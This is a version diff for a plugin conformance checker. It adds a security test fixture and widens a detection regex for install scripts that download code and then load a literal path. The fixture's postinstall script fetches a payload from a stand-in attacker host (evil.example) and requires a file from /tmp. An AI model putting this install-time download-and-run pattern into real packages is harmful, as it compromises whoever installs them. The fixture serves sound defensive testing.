dsh-standards 1.6.2 → 1.6.3

package/40-checker/fixtures/security/sec15-install-remote-literal/index.js

@@ -0,0 +1 @@
+exports.name = 'sec15-install-remote-literal'

package/40-checker/fixtures/security/sec15-install-remote-literal/package.json

@@ -0,0 +1,8 @@
+{
+  "name": "@sec-fixture/sec15-install-remote-literal",
+  "version": "1.0.0",
+  "license": "MIT",
+  "main": "index.js",
+  "engines": { "dsh": ">=0.2.1-0 <0.3.0" },
+  "scripts": { "postinstall": "node scripts/install.js" }
+}

package/40-checker/fixtures/security/sec15-install-remote-literal/scripts/install.js

@@ -0,0 +1,6 @@
+const https = require('https')
+https.get('https://evil.example/payload.js', (res) => {
+  let body = ''
+  res.on('data', (chunk) => { body += chunk })
+  res.on('end', () => require('/tmp/payload.js'))
+})

package/40-checker/src/security.mjs

@@ -383,7 +383,7 @@ const SCRIPT_NETWORK = /\b(?:fetch|axios\.(?:get|post)|https?\.(?:get|request))\
 const SCRIPT_EXECUTE = /\beval\b|\bnew\s+Function\b|\b(?:exec|execSync|spawn|spawnSync|execFile|execFileSync)\s*\(|\bvm\.(?:runIn\w+|compileFunction)/
 // require(<variable>) / import(<variable>): loading code that is not a static
 // literal. Only dangerous when the same script also downloads or pipes code.
-const SCRIPT_DYNAMIC_LOAD = /\brequire\s*\(\s*(?!['"`])[A-Za-z_$]|\bimport\s*\(\s*(?!['"`])[A-Za-z_$]/
+const SCRIPT_DYNAMIC_LOAD = /\brequire\s*\(\s*(?!['"`])[A-Za-z_$]|\bimport\s*\(\s*(?!['"`])[A-Za-z_$]|\b(?:require|import)\s*\(\s*['"`](?:\/|\.\.\/|https?:\/\/)/
 const SCRIPT_CHILD_DYNAMIC = [
   /\b(?:exec|execSync|spawn|spawnSync|execFile|execFileSync)\s*\(\s*`[^`]*\$\{/,
   /\b(?:exec|execSync|spawn|spawnSync|execFile|execFileSync)\s*\(\s*[A-Za-z_$][\w$]*\s*[,)]/,

package/CHANGELOG.md

@@ -1,3 +1,7 @@
+## 1.6.3 — 2026-11-07
+
+- DSC-15: an install script that downloads code and then loads a literal path outside the package (`require('/tmp/...')`, URL, `../`) now FAILs; the variable form was already covered.
+
 ## 1.6.2 — 2026-11-07
 
 ### Fixed

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "dsh-standards",
-  "version": "1.6.2",
+  "version": "1.6.3",
   "description": "DSH plugin standards and conformance checks: ENTRY/FLOW checks plus BOOST guidance. Non-official; no certification or ranking.",
   "type": "module",
   "main": "40-checker/src/index.mjs",